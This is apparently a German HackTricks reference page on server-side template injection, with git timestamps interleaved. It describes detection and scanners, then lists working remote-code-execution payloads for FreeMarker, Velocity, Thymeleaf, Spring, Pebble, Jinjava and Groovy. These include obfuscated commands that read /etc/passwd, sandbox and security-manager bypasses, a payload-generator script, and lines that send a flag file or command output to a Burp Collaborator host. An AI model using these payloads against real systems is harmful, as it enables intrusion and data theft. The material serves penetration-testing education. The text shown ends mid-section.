2024-02-23 16:45:59 +00:00
# SSTI (Serverseitige Template-Injektion)
2022-04-28 16:01:33 +00:00
< details >
2024-02-23 16:45:59 +00:00
< summary > < strong > Lernen Sie AWS-Hacking von Null auf Held mit< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2024-01-01 17:15:42 +00:00
2024-02-23 16:45:59 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten** , überprüfen Sie die [**ABONNEMENTPLÄNE** ](https://github.com/sponsors/carlospolop )!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch** ](https://peass.creator-spring.com )
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), unsere Sammlung exklusiver [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 16:45:59 +00:00
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegram-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) Github-Repositories einreichen.
2022-04-28 16:01:33 +00:00
< / details >
2023-06-25 23:05:20 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-25 15:56:49 +00:00
2024-02-23 16:45:59 +00:00
[**RootedCON** ](https://www.rootedcon.com ) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-02-23 16:45:59 +00:00
## Was ist SSTI (Serverseitige Template-Injektion)
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, das auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Code-Schnipsel unter Verwendung von Jinja demonstriert:
2024-02-06 14:12:47 +00:00
```python
output = template.render(name=request.args.get('name'))
2020-07-15 15:43:14 +00:00
```
2024-02-23 16:45:59 +00:00
Im verwundbaren Code wird der `name` -Parameter aus der Benutzeranfrage direkt in die Vorlage mit der `render` -Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den `name` -Parameter einzufügen, was zu einer serverseitigen Vorlageninjektion führen kann.
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
2021-10-18 11:21:18 +00:00
```
2024-02-06 14:12:47 +00:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
2020-07-15 15:43:14 +00:00
```
2024-02-23 16:45:59 +00:00
Die Nutzlast `{{bad-stuff-here}}` wird in den `name` -Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Vorlagen eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu mindern.
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
### Erkennung
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Um Server-seitige Template-Injection (SSTI) zu erkennen, ist das **Fuzzing des Templates** zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (**`${{< %[%'"}}%\`**) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
- Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
- Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}` , `${7*7}` ).
- **Code-Kontext**: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise `greeting` in `http://vulnerable-website.com/?greeting=data.username` , um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie bei `greeting=data.username}}hello` , das den Benutzernamen zurückgibt.
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
#### Identifikationsphase
2024-02-23 16:45:59 +00:00
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind `${7/0}` , `{{7/0}}` und `<%= 7/0 %>` . Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## Tools
2021-06-25 12:34:30 +00:00
2023-12-03 12:14:19 +00:00
### [TInjA](https://github.com/Hackmanit/TInjA)
2023-12-04 09:24:40 +00:00
2024-02-10 15:36:32 +00:00
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots verwendet
2023-12-03 12:14:19 +00:00
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
2024-01-07 06:40:59 +00:00
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
```
2024-02-23 16:45:59 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2024-02-10 15:36:32 +00:00
2024-02-23 16:45:59 +00:00
Tplmap ist ein Tool zum Erkennen und Ausnutzen von Server-seitigen Template-Injections (SSTI).
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*& comment=supercomment& link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*& comment=A& link" --level 5 -e jade
```
2024-02-23 16:45:59 +00:00
### [Vorlageinjektionstabelle](https://github.com/Hackmanit/template-injection-table)
2021-06-25 12:34:30 +00:00
2024-02-23 16:45:59 +00:00
eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.
2023-12-03 12:14:19 +00:00
2022-05-01 13:25:53 +00:00
## Exploits
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
### Generisch
2021-06-27 20:19:16 +00:00
2024-02-23 16:45:59 +00:00
In dieser **Wortliste** finden Sie **Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind** :
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt ](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt )
2024-02-06 14:12:47 +00:00
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt ](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt )
2021-06-27 20:19:16 +00:00
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
2024-02-23 16:45:59 +00:00
**Java - Grundlegende Injektion**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
2024-02-06 14:12:47 +00:00
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
2021-06-25 12:34:30 +00:00
```
2024-02-10 15:36:32 +00:00
**Java - Abrufen der Umgebungsvariablen des Systems**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
2024-02-10 15:36:32 +00:00
**Java - Abrufen von /etc/passwd**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Sie können Ihre Payloads unter [https://try.freemarker.apache.org ](https://try.freemarker.apache.org ) ausprobieren
2021-06-25 12:34:30 +00:00
2020-07-15 15:43:14 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
2024-02-23 16:45:59 +00:00
* `${7*'7'} Nothing`
2020-07-15 15:43:14 +00:00
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
2020-07-15 15:43:14 +00:00
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2024-02-10 15:36:32 +00:00
**Freemarker - Sandbox-Bypass**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
2021-06-25 12:34:30 +00:00
```java
< #assign classloader=article.class.protectionDomain.classLoader>
< #assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
< #assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
< #assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
* Im FreeMarker-Abschnitt von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
* Im Velocity-Abschnitt von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity )
2020-07-15 15:43:14 +00:00
2024-02-06 14:12:47 +00:00
### Thymeleaf
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}` , der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
* SpringEL:
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
2024-02-23 16:45:59 +00:00
* OGNL:
2024-02-10 15:36:32 +00:00
```java
${#rt = @java .lang.Runtime@getRuntime(),#rt.exec("calc")}
```
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Thymeleaf erfordert, dass diese Ausdrücke in spezifischen Attributen platziert werden. Allerdings wird _Expression Inlining_ für andere Vorlagenpositionen unterstützt, indem Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie `[[${7*7}]]` aussehen.
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Thymeleaf bietet auch _Expression Preprocessing_ an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
2021-06-25 12:34:30 +00:00
```java
2020-07-15 15:43:14 +00:00
#{selection.__${sel.code}__}
```
2024-02-10 15:36:32 +00:00
**Beispiel für eine Schwachstelle in Thymeleaf**
2020-07-15 15:43:14 +00:00
2024-02-23 16:45:59 +00:00
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
2024-02-06 14:12:47 +00:00
```xml
2020-07-15 15:43:14 +00:00
< a th:href = "@{__${path}__}" th:title = "${title}" >
2022-05-18 13:29:23 +00:00
< a th:href = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag .txt burpcollab.com')}" th:title = 'pepito' >
2024-02-06 14:12:47 +00:00
```
2024-02-23 16:45:59 +00:00
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie:
2024-02-06 14:12:47 +00:00
```
2020-07-15 15:43:14 +00:00
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2020-07-15 15:43:14 +00:00
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ ](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ )
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2022-09-26 02:13:30 +00:00
### Spring Framework (Java)
2022-12-30 16:36:06 +00:00
```java
2024-02-10 15:36:32 +00:00
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
2022-12-30 16:36:06 +00:00
```
2024-02-10 15:36:32 +00:00
**Filter umgehen**
2023-01-13 17:40:30 +00:00
2024-02-10 15:36:32 +00:00
Mehrere Variablenausdrücke können verwendet werden. Wenn `${...}` nicht funktioniert, versuchen Sie es mit `#{...}` , `*{...}` , `@{...}` oder `~{...}` .
2023-01-13 17:40:30 +00:00
2024-02-10 15:36:32 +00:00
* Lese `/etc/passwd`
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2024-02-23 16:45:59 +00:00
* Benutzerdefiniertes Skript zur Payload-Generierung
2022-12-30 16:36:06 +00:00
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
2024-02-10 15:36:32 +00:00
end_payload = '.getInputStream())}'
2022-12-30 16:36:06 +00:00
count = 1
for i in converted:
2024-02-10 15:36:32 +00:00
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
2022-12-30 16:36:06 +00:00
print(base_payload + end_payload)
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI ](https://javamana.com/2021/11/20211121071046977B.html )
* [Payloads all the things ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd )
2022-05-01 13:25:53 +00:00
### Spring View Manipulation (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation ](https://github.com/veracode-research/spring-view-manipulation )
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2024-02-10 15:36:32 +00:00
Alte Version von Pebble ( < Version 3 . 0 . 9 ) :
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
2024-02-10 15:36:32 +00:00
Neue Version von Pebble:
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2024-02-23 16:45:59 +00:00
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
2024-02-10 15:36:32 +00:00
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
2024-02-10 15:36:32 +00:00
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
2024-02-23 16:45:59 +00:00
Jinjava ist eine leistungsstarke und flexible Template-Engine für Java. Es unterstützt Server-seitige Template-Injection (SSTI) und wird häufig in Webanwendungen verwendet. Jinjava ermöglicht es Entwicklern, dynamische Inhalte in ihren Anwendungen zu generieren, was jedoch auch ein potentielles Sicherheitsrisiko darstellen kann, wenn nicht ordnungsgemäß abgesichert.
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2024-02-10 15:36:32 +00:00
**Jinjava - Befehlsausführung**
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
Behoben durch [https://github.com/HubSpot/jinjava/pull/230 ](https://github.com/HubSpot/jinjava/pull/230 )
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava )
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
2024-02-23 16:45:59 +00:00
* `{% %}` Anweisungstrenner
* `{{ }}` Ausdruckstrenner
* `{# #}` Kommentartrenner
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
2024-02-10 15:36:32 +00:00
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das [Jinjava-Projekt auf Github ](https://github.com/HubSpot/jinjava/ ).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2024-02-10 15:36:32 +00:00
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2024-02-10 15:36:32 +00:00
**Weitere Informationen**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html ](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html )
2022-05-01 13:25:53 +00:00
### Expression Language - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
2024-02-23 16:45:59 +00:00
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
2024-02-06 14:12:47 +00:00
2024-02-23 16:45:59 +00:00
* **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
* **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was die Verbindung von Seitenelementen mit den Anwendungsdaten erleichtert.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und eine kohärentere Anwendungsstruktur sicherzustellen.
2024-02-06 14:12:47 +00:00
2024-02-23 16:45:59 +00:00
Überprüfen Sie die folgende Seite, um mehr über die **Ausnutzung von EL-Interpretern** zu erfahren:
2021-06-07 09:30:58 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
2024-02-23 16:45:59 +00:00
Die folgenden Security Manager-Bypasses stammen aus diesem [**Bericht** ](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/ ).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy .transform.ASTTest(value={
2024-02-10 15:36:32 +00:00
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy .transform.ASTTest(value={
2024-02-10 15:36:32 +00:00
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
